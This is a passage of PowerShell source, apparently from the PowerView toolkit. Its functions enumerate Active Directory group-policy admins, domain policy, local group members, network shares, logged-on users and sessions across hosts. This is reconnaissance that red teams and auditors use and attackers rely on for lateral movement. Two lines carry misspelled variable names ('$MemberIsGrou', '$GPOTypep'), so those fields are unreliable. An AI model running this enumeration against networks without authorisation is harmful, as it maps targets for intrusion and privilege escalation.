7327 # extract all OUs a computer is a part of
7328 $DN = $Computer.distinguishedname
7329
7330 $TargetOUs += $DN.split(",") | ForEach-Object {
7331 if($_.startswith("OU=")) {
7332 $DN.substring($DN.indexof($_))
7333 }
7334 }
7335 }
7336
7337 # enumerate any linked GPOs for the computer's site
7338 $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
7339 if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
7340 $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
7341 if($_.gplink) {
7342 $_.gplink.split("][") | ForEach-Object {
7343 if ($_.startswith("LDAP")) {
7344 $_.split(";")[0]
7345 }
7346 }
7347 }
7348 } | ForEach-Object {
7349 $GPOGroupArgs = @{
7350 'Domain' = $Domain
7351 'DomainController' = $DomainController
7352 'ResolveMemberSIDs' = $True
7353 'UsePSDrive' = $UsePSDrive
7354 'PageSize' = $PageSize
7355 }
7356
7357 # for each GPO link, get any locally set user/group SIDs
7358 Get-NetGPOGroup @GPOGroupArgs
7359 }
7360 }
7361 }
7362 else {
7363 $TargetOUs = @($OUName)
7364 }
7365
7366 Write-Verbose "Target OUs: $TargetOUs"
7367
7368 $TargetOUs | Where-Object {$_} | ForEach-Object {
7369
7370 $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
7371 # and then get any GPO links
7372 if($_.gplink) {
7373 $_.gplink.split("][") | ForEach-Object {
7374 if ($_.startswith("LDAP")) {
7375 $_.split(";")[0]
7376 }
7377 }
7378 }
7379 }
7380
7381 $GPOGroupArgs = @{
7382 'Domain' = $Domain
7383 'DomainController' = $DomainController
7384 'UsePSDrive' = $UsePSDrive
7385 'ResolveMemberSIDs' = $True
7386 'PageSize' = $PageSize
7387 }
7388
7389 # extract GPO groups that are set through any gPlink for this OU
7390 $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object {
7391 ForEach($GPOLink in $GPOLinks) {
7392 $Name = $_.GPOName
7393 if($GPOLink -like "*$Name*") {
7394 $_
7395 }
7396 }
7397 }
7398 }
7399
7400 # for each found GPO group, resolve the SIDs of the members
7401 $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object {
7402 $GPOGroup = $_
7403
7404 if($GPOGroup.GroupMembers) {
7405 $GPOMembers = $GPOGroup.GroupMembers
7406 }
7407 else {
7408 $GPOMembers = $GPOGroup.GroupSID
7409 }
7410
7411 $GPOMembers | ForEach-Object {
7412 # resolve this SID to a domain object
7413 $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
7414
7415 $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
7416
7417 $GPOComputerAdmin = New-Object PSObject
7418 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
7419 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
7420 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
7421 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
7422 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
7423 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
7424 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
7425 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
7426 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
7427 $GPOComputerAdmin
7428
7429 # if we're recursing and the current result object is a group
7430 if($Recurse -and $GPOComputerAdmin.isGroup) {
7431
7432 Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
7433
7434 $MemberDN = $_.distinguishedName
7435
7436 # extract the FQDN from the Distinguished Name
7437 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
7438
7439 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
7440
7441 if ($_.samAccountName) {
7442 # forest users have the samAccountName set
7443 $MemberName = $_.samAccountName
7444 }
7445 else {
7446 # external trust users have a SID, so convert it
7447 try {
7448 $MemberName = Convert-SidToName $_.cn
7449 }
7450 catch {
7451 # if there's a problem contacting the domain to resolve the SID
7452 $MemberName = $_.cn
7453 }
7454 }
7455
7456 $GPOComputerAdmin = New-Object PSObject
7457 $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
7458 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
7459 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
7460 $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
7461 $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou
7462 $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
7463 $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
7464 $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
7465 $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep
7466 $GPOComputerAdmin
7467 }
7468 }
7469 }
7470 }
7471 }
7472}
7473
7474
7475function Get-DomainPolicy {
7476<#
7477 .SYNOPSIS
7478
7479 Returns the default domain or DC policy for a given
7480 domain or domain controller.
7481
7482 Thanks Sean Metacalf (@pyrotek3) for the idea and guidance.
7483
7484 .PARAMETER Source
7485
7486 Extract Domain or DC (domain controller) policies.
7487
7488 .PARAMETER Domain
7489
7490 The domain to query for default policies, defaults to the current domain.
7491
7492 .PARAMETER DomainController
7493
7494 Domain controller to reflect LDAP queries through.
7495
7496 .PARAMETER ResolveSids
7497
7498 Switch. Resolve Sids from a DC policy to object names.
7499
7500 .PARAMETER UsePSDrive
7501
7502 Switch. Mount any found policy files with temporary PSDrives.
7503
7504 .EXAMPLE
7505
7506 PS C:\> Get-DomainPolicy
7507
7508 Returns the domain policy for the current domain.
7509
7510 .EXAMPLE
7511
7512 PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
7513
7514 Returns the policy for the MASTER.testlab.local domain controller.
7515#>
7516
7517 [CmdletBinding()]
7518 Param (
7519 [String]
7520 [ValidateSet("Domain","DC")]
7521 $Source ="Domain",
7522
7523 [String]
7524 $Domain,
7525
7526 [String]
7527 $DomainController,
7528
7529 [Switch]
7530 $ResolveSids,
7531
7532 [Switch]
7533 $UsePSDrive
7534 )
7535
7536 if($Source -eq "Domain") {
7537 # query the given domain for the default domain policy object
7538 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}"
7539
7540 if($GPO) {
7541 # grab the GptTmpl.inf file and parse it
7542 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
7543
7544 $ParseArgs = @{
7545 'GptTmplPath' = $GptTmplPath
7546 'UsePSDrive' = $UsePSDrive
7547 }
7548
7549 # parse the GptTmpl.inf
7550 Get-GptTmpl @ParseArgs
7551 }
7552
7553 }
7554 elseif($Source -eq "DC") {
7555 # query the given domain/dc for the default domain controller policy object
7556 $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}"
7557
7558 if($GPO) {
7559 # grab the GptTmpl.inf file and parse it
7560 $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
7561
7562 $ParseArgs = @{
7563 'GptTmplPath' = $GptTmplPath
7564 'UsePSDrive' = $UsePSDrive
7565 }
7566
7567 # parse the GptTmpl.inf
7568 Get-GptTmpl @ParseArgs | ForEach-Object {
7569 if($ResolveSids) {
7570 # if we're resolving sids in PrivilegeRights to names
7571 $Policy = New-Object PSObject
7572 $_.psobject.properties | ForEach-Object {
7573 if( $_.Name -eq 'PrivilegeRights') {
7574
7575 $PrivilegeRights = New-Object PSObject
7576 # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate
7577 $_.Value.psobject.properties | ForEach-Object {
7578
7579 $Sids = $_.Value | ForEach-Object {
7580 try {
7581 if($_ -isnot [System.Array]) {
7582 Convert-SidToName $_
7583 }
7584 else {
7585 $_ | ForEach-Object { Convert-SidToName $_ }
7586 }
7587 }
7588 catch {
7589 Write-Verbose "Error resolving SID : $_"
7590 }
7591 }
7592
7593 $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids
7594 }
7595
7596 $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights
7597 }
7598 else {
7599 $Policy | Add-Member Noteproperty $_.Name $_.Value
7600 }
7601 }
7602 $Policy
7603 }
7604 else { $_ }
7605 }
7606 }
7607 }
7608}
7609
7610
7611
7612########################################################
7613#
7614# Functions that enumerate a single host, either through
7615# WinNT, WMI, remote registry, or API calls
7616# (with PSReflect).
7617#
7618########################################################
7619
7620function Get-NetLocalGroup {
7621<#
7622 .SYNOPSIS
7623
7624 Gets a list of all current users in a specified local group,
7625 or returns the names of all local groups with -ListGroups.
7626
7627 .PARAMETER ComputerName
7628
7629 The hostname or IP to query for local group users.
7630
7631 .PARAMETER ComputerFile
7632
7633 File of hostnames/IPs to query for local group users.
7634
7635 .PARAMETER GroupName
7636
7637 The local group name to query for users. If not given, it defaults to "Administrators"
7638
7639 .PARAMETER ListGroups
7640
7641 Switch. List all the local groups instead of their members.
7642 Old Get-NetLocalGroups functionality.
7643
7644 .PARAMETER Recurse
7645
7646 Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.
7647
7648 .PARAMETER API
7649
7650 Switch. Use API calls instead of the WinNT service provider. Less information,
7651 but the results are faster.
7652
7653 .EXAMPLE
7654
7655 PS C:\> Get-NetLocalGroup
7656
7657 Returns the usernames that of members of localgroup "Administrators" on the local host.
7658
7659 .EXAMPLE
7660
7661 PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP
7662
7663 Returns all the local administrator accounts for WINDOWSXP
7664
7665 .EXAMPLE
7666
7667 PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse
7668
7669 Returns all effective local/domain users/groups that can access WINDOWS7 with
7670 local administrative privileges.
7671
7672 .EXAMPLE
7673
7674 PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups
7675
7676 Returns all local groups on the WINDOWS7 host.
7677
7678 .EXAMPLE
7679
7680 PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API
7681
7682 Returns all local groups on the the passed hosts using API calls instead of the
7683 WinNT service provider.
7684
7685 .LINK
7686
7687 http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together
7688 http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx
7689#>
7690
7691 [CmdletBinding(DefaultParameterSetName = 'WinNT')]
7692 param(
7693 [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)]
7694 [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
7695 [Alias('HostName')]
7696 [String[]]
7697 $ComputerName = $Env:ComputerName,
7698
7699 [Parameter(ParameterSetName = 'WinNT')]
7700 [Parameter(ParameterSetName = 'API')]
7701 [ValidateScript({Test-Path -Path $_ })]
7702 [Alias('HostList')]
7703 [String]
7704 $ComputerFile,
7705
7706 [Parameter(ParameterSetName = 'WinNT')]
7707 [Parameter(ParameterSetName = 'API')]
7708 [String]
7709 $GroupName = 'Administrators',
7710
7711 [Parameter(ParameterSetName = 'WinNT')]
7712 [Switch]
7713 $ListGroups,
7714
7715 [Parameter(ParameterSetName = 'WinNT')]
7716 [Switch]
7717 $Recurse,
7718
7719 [Parameter(ParameterSetName = 'API')]
7720 [Switch]
7721 $API
7722 )
7723
7724 process {
7725
7726 $Servers = @()
7727
7728 # if we have a host list passed, grab it
7729 if($ComputerFile) {
7730 $Servers = Get-Content -Path $ComputerFile
7731 }
7732 else {
7733 # otherwise assume a single host name
7734 $Servers += $ComputerName | Get-NameField
7735 }
7736
7737 # query the specified group using the WINNT provider, and
7738 # extract fields as appropriate from the results
7739 ForEach($Server in $Servers) {
7740
7741 if($API) {
7742 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
7743 # arguments for NetLocalGroupGetMembers
7744 $QueryLevel = 2
7745 $PtrInfo = [IntPtr]::Zero
7746 $EntriesRead = 0
7747 $TotalRead = 0
7748 $ResumeHandle = 0
7749
7750 # get the local user information
7751 $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
7752
7753 # Locate the offset of the initial intPtr
7754 $Offset = $PtrInfo.ToInt64()
7755
7756 $LocalUsers = @()
7757
7758 # 0 = success
7759 if (($Result -eq 0) -and ($Offset -gt 0)) {
7760
7761 # Work out how much to increment the pointer by finding out the size of the structure
7762 $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
7763
7764 # parse all the result structures
7765 for ($i = 0; ($i -lt $EntriesRead); $i++) {
7766 # create a new int ptr at the given offset and cast the pointer as our result structure
7767 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
7768 $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
7769
7770 $Offset = $NewIntPtr.ToInt64()
7771 $Offset += $Increment
7772
7773 $SidString = ""
7774 $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
7775
7776 if($Result2 -eq 0) {
7777 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
7778 }
7779 else {
7780 $LocalUser = New-Object PSObject
7781 $LocalUser | Add-Member Noteproperty 'ComputerName' $Server
7782 $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname
7783 $LocalUser | Add-Member Noteproperty 'SID' $SidString
7784
7785 $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
7786 $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup
7787 $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI')
7788
7789 $LocalUsers += $LocalUser
7790 }
7791 }
7792
7793 # free up the result buffer
7794 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
7795
7796 # try to extract out the machine SID by using the -500 account as a reference
7797 $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'}
7798 $Parts = $MachineSid.SID.Split('-')
7799 $MachineSid = $Parts[0..($Parts.Length -2)] -join '-'
7800
7801 $LocalUsers | ForEach-Object {
7802 if($_.SID -match $MachineSid) {
7803 $_ | Add-Member Noteproperty 'IsDomain' $False
7804 }
7805 else {
7806 $_ | Add-Member Noteproperty 'IsDomain' $True
7807 }
7808 }
7809 $LocalUsers
7810 }
7811 else {
7812 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
7813 }
7814 }
7815
7816 else {
7817 # otherwise we're using the WinNT service provider
7818 try {
7819 if($ListGroups) {
7820 # if we're listing the group names on a remote server
7821 $Computer = [ADSI]"WinNT://$Server,computer"
7822
7823 $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
7824 $Group = New-Object PSObject
7825 $Group | Add-Member Noteproperty 'Server' $Server
7826 $Group | Add-Member Noteproperty 'Group' ($_.name[0])
7827 $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value)
7828 $Group | Add-Member Noteproperty 'Description' ($_.Description[0])
7829 $Group.PSObject.TypeNames.Add('PowerView.LocalGroup')
7830 $Group
7831 }
7832 }
7833 else {
7834 # otherwise we're listing the group members
7835 $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members'))
7836
7837 $Members | ForEach-Object {
7838
7839 $Member = New-Object PSObject
7840 $Member | Add-Member Noteproperty 'ComputerName' $Server
7841
7842 $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '')
7843 $Class = $_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null)
7844
7845 # try to translate the NT4 domain to a FQDN if possible
7846 $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical'
7847 $IsGroup = $Class -eq "Group"
7848
7849 if($Name) {
7850 $FQDN = $Name.split("/")[0]
7851 $ObjName = $AdsPath.split("/")[-1]
7852 $Name = "$FQDN/$ObjName"
7853 $IsDomain = $True
7854 }
7855 else {
7856 $ObjName = $AdsPath.split("/")[-1]
7857 $Name = $AdsPath
7858 $IsDomain = $False
7859 }
7860
7861 $Member | Add-Member Noteproperty 'AccountName' $Name
7862 $Member | Add-Member Noteproperty 'IsDomain' $IsDomain
7863 $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
7864
7865 if($IsDomain) {
7866 # translate the binary sid to a string
7867 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value)
7868 $Member | Add-Member Noteproperty 'Description' ""
7869 $Member | Add-Member Noteproperty 'Disabled' ""
7870
7871 if($IsGroup) {
7872 $Member | Add-Member Noteproperty 'LastLogin' ""
7873 }
7874 else {
7875 try {
7876 $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null))
7877 }
7878 catch {
7879 $Member | Add-Member Noteproperty 'LastLogin' ""
7880 }
7881 }
7882 $Member | Add-Member Noteproperty 'PwdLastSet' ""
7883 $Member | Add-Member Noteproperty 'PwdExpired' ""
7884 $Member | Add-Member Noteproperty 'UserFlags' ""
7885 }
7886 else {
7887 # repull this user object so we can ensure correct information
7888 $LocalUser = $([ADSI] "WinNT://$AdsPath")
7889
7890 # translate the binary sid to a string
7891 $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value)
7892 $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0])
7893
7894 if($IsGroup) {
7895 $Member | Add-Member Noteproperty 'PwdLastSet' ""
7896 $Member | Add-Member Noteproperty 'PwdExpired' ""
7897 $Member | Add-Member Noteproperty 'UserFlags' ""
7898 $Member | Add-Member Noteproperty 'Disabled' ""
7899 $Member | Add-Member Noteproperty 'LastLogin' ""
7900 }
7901 else {
7902 $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0]))
7903 $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1')
7904 $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] )
7905 # UAC flags of 0x2 mean the account is disabled
7906 $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2)
7907 try {
7908 $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0])
7909 }
7910 catch {
7911 $Member | Add-Member Noteproperty 'LastLogin' ""
7912 }
7913 }
7914 }
7915 $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
7916 $Member
7917
7918 # if the result is a group domain object and we're recursing,
7919 # try to resolve all the group member results
7920 if($Recurse -and $IsGroup) {
7921 if($IsDomain) {
7922 $FQDN = $Name.split("/")[0]
7923 $GroupName = $Name.split("/")[1].trim()
7924
7925 Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object {
7926
7927 $Member = New-Object PSObject
7928 $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)"
7929
7930 $MemberDN = $_.distinguishedName
7931 # extract the FQDN from the Distinguished Name
7932 $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
7933
7934 $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
7935
7936 if ($_.samAccountName) {
7937 # forest users have the samAccountName set
7938 $MemberName = $_.samAccountName
7939 }
7940 else {
7941 try {
7942 # external trust users have a SID, so convert it
7943 try {
7944 $MemberName = Convert-SidToName $_.cn
7945 }
7946 catch {
7947 # if there's a problem contacting the domain to resolve the SID
7948 $MemberName = $_.cn
7949 }
7950 }
7951 catch {
7952 Write-Debug "Error resolving SID : $_"
7953 }
7954 }
7955
7956 $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName"
7957 $Member | Add-Member Noteproperty 'SID' $_.objectsid
7958 $Member | Add-Member Noteproperty 'Description' $_.description
7959 $Member | Add-Member Noteproperty 'Disabled' $False
7960 $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
7961 $Member | Add-Member Noteproperty 'IsDomain' $True
7962 $Member | Add-Member Noteproperty 'LastLogin' ''
7963 $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet
7964 $Member | Add-Member Noteproperty 'PwdExpired' ''
7965 $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl
7966 $Member.PSObject.TypeNames.Add('PowerView.LocalUser')
7967 $Member
7968 }
7969 } else {
7970 Get-NetLocalGroup -ComputerName $Server -GroupName $ObjName -Recurse
7971 }
7972 }
7973 }
7974 }
7975 }
7976 catch {
7977 Write-Warning "[!] Error: $_"
7978 }
7979 }
7980 }
7981 }
7982}
7983
7984filter Get-NetShare {
7985<#
7986 .SYNOPSIS
7987
7988 This function will execute the NetShareEnum Win32API call to query
7989 a given host for open shares. This is a replacement for
7990 "net share \\hostname"
7991
7992 .PARAMETER ComputerName
7993
7994 The hostname to query for shares. Also accepts IP addresses.
7995
7996 .OUTPUTS
7997
7998 SHARE_INFO_1 structure. A representation of the SHARE_INFO_1
7999 result structure which includes the name and note for each share,
8000 with the ComputerName added.
8001
8002 .EXAMPLE
8003
8004 PS C:\> Get-NetShare
8005
8006 Returns active shares on the local host.
8007
8008 .EXAMPLE
8009
8010 PS C:\> Get-NetShare -ComputerName sqlserver
8011
8012 Returns active shares on the 'sqlserver' host
8013
8014 .EXAMPLE
8015
8016 PS C:\> Get-NetComputer | Get-NetShare
8017
8018 Returns all shares for all computers in the domain.
8019
8020 .LINK
8021
8022 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
8023#>
8024
8025 [CmdletBinding()]
8026 param(
8027 [Parameter(ValueFromPipeline=$True)]
8028 [Alias('HostName')]
8029 [Object[]]
8030 [ValidateNotNullOrEmpty()]
8031 $ComputerName = 'localhost'
8032 )
8033
8034 # extract the computer name from whatever object was passed on the pipeline
8035 $Computer = $ComputerName | Get-NameField
8036
8037 # arguments for NetShareEnum
8038 $QueryLevel = 1
8039 $PtrInfo = [IntPtr]::Zero
8040 $EntriesRead = 0
8041 $TotalRead = 0
8042 $ResumeHandle = 0
8043
8044 # get the share information
8045 $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
8046
8047 # Locate the offset of the initial intPtr
8048 $Offset = $PtrInfo.ToInt64()
8049
8050 # 0 = success
8051 if (($Result -eq 0) -and ($Offset -gt 0)) {
8052
8053 # Work out how much to increment the pointer by finding out the size of the structure
8054 $Increment = $SHARE_INFO_1::GetSize()
8055
8056 # parse all the result structures
8057 for ($i = 0; ($i -lt $EntriesRead); $i++) {
8058 # create a new int ptr at the given offset and cast the pointer as our result structure
8059 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
8060 $Info = $NewIntPtr -as $SHARE_INFO_1
8061
8062 # return all the sections of the structure
8063 $Shares = $Info | Select-Object *
8064 $Shares | Add-Member Noteproperty 'ComputerName' $Computer
8065 $Offset = $NewIntPtr.ToInt64()
8066 $Offset += $Increment
8067 $Shares
8068 }
8069
8070 # free up the result buffer
8071 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
8072 }
8073 else {
8074 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
8075 }
8076}
8077
8078
8079filter Get-NetLoggedon {
8080<#
8081 .SYNOPSIS
8082
8083 This function will execute the NetWkstaUserEnum Win32API call to query
8084 a given host for actively logged on users.
8085
8086 .PARAMETER ComputerName
8087
8088 The hostname to query for logged on users.
8089
8090 .OUTPUTS
8091
8092 WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1
8093 result structure which includes the username and domain of logged on users,
8094 with the ComputerName added.
8095
8096 .EXAMPLE
8097
8098 PS C:\> Get-NetLoggedon
8099
8100 Returns users actively logged onto the local host.
8101
8102 .EXAMPLE
8103
8104 PS C:\> Get-NetLoggedon -ComputerName sqlserver
8105
8106 Returns users actively logged onto the 'sqlserver' host.
8107
8108 .EXAMPLE
8109
8110 PS C:\> Get-NetComputer | Get-NetLoggedon
8111
8112 Returns all logged on userse for all computers in the domain.
8113
8114 .LINK
8115
8116 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
8117#>
8118
8119 [CmdletBinding()]
8120 param(
8121 [Parameter(ValueFromPipeline=$True)]
8122 [Alias('HostName')]
8123 [Object[]]
8124 [ValidateNotNullOrEmpty()]
8125 $ComputerName = 'localhost'
8126 )
8127
8128 # extract the computer name from whatever object was passed on the pipeline
8129 $Computer = $ComputerName | Get-NameField
8130
8131 # Declare the reference variables
8132 $QueryLevel = 1
8133 $PtrInfo = [IntPtr]::Zero
8134 $EntriesRead = 0
8135 $TotalRead = 0
8136 $ResumeHandle = 0
8137
8138 # get logged on user information
8139 $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
8140
8141 # Locate the offset of the initial intPtr
8142 $Offset = $PtrInfo.ToInt64()
8143
8144 # 0 = success
8145 if (($Result -eq 0) -and ($Offset -gt 0)) {
8146
8147 # Work out how much to increment the pointer by finding out the size of the structure
8148 $Increment = $WKSTA_USER_INFO_1::GetSize()
8149
8150 # parse all the result structures
8151 for ($i = 0; ($i -lt $EntriesRead); $i++) {
8152 # create a new int ptr at the given offset and cast the pointer as our result structure
8153 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
8154 $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
8155
8156 # return all the sections of the structure
8157 $LoggedOn = $Info | Select-Object *
8158 $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
8159 $Offset = $NewIntPtr.ToInt64()
8160 $Offset += $Increment
8161 $LoggedOn
8162 }
8163
8164 # free up the result buffer
8165 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
8166 }
8167 else {
8168 Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
8169 }
8170}
8171
8172
8173filter Get-NetSession {
8174<#
8175 .SYNOPSIS
8176
8177 This function will execute the NetSessionEnum Win32API call to query
8178 a given host for active sessions on the host.
8179 Heavily adapted from dunedinite's post on stackoverflow (see LINK below)
8180
8181 .PARAMETER ComputerName
8182
8183 The ComputerName to query for active sessions.
8184
8185 .PARAMETER UserName
8186
8187 The user name to filter for active sessions.
8188
8189 .OUTPUTS
8190
8191 SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
8192 result structure which includes the host and username associated
8193 with active sessions, with the ComputerName added.
8194
8195 .EXAMPLE
8196
8197 PS C:\> Get-NetSession
8198
8199 Returns active sessions on the local host.
8200
8201 .EXAMPLE
8202
8203 PS C:\> Get-NetSession -ComputerName sqlserver
8204
8205 Returns active sessions on the 'sqlserver' host.
8206
8207 .EXAMPLE
8208
8209 PS C:\> Get-NetDomainController | Get-NetSession
8210
8211 Returns active sessions on all domain controllers.
8212
8213 .LINK
8214
8215 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
8216#>
8217
8218 [CmdletBinding()]
8219 param(
8220 [Parameter(ValueFromPipeline=$True)]
8221 [Alias('HostName')]
8222 [Object[]]
8223 [ValidateNotNullOrEmpty()]
8224 $ComputerName = 'localhost',
8225
8226 [String]
8227 $UserName = ''
8228 )
8229
8230 # extract the computer name from whatever object was passed on the pipeline
8231 $Computer = $ComputerName | Get-NameField
8232
8233 # arguments for NetSessionEnum
8234 $QueryLevel = 10
8235 $PtrInfo = [IntPtr]::Zero
8236 $EntriesRead = 0
8237 $TotalRead = 0
8238 $ResumeHandle = 0
8239
8240 # get session information
8241 $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
8242
8243 # Locate the offset of the initial intPtr
8244 $Offset = $PtrInfo.ToInt64()
8245
8246 # 0 = success
8247 if (($Result -eq 0) -and ($Offset -gt 0)) {
8248
8249 # Work out how much to increment the pointer by finding out the size of the structure
8250 $Increment = $SESSION_INFO_10::GetSize()
8251
8252 # parse all the result structures
8253 for ($i = 0; ($i -lt $EntriesRead); $i++) {
8254 # create a new int ptr at the given offset and cast the pointer as our result structure
8255 $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
8256 $Info = $NewIntPtr -as $SESSION_INFO_10
8257
8258 # return all the sections of the structure
8259 $Sessions = $Info | Select-Object *
8260 $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
8261 $Offset = $NewIntPtr.ToInt64()
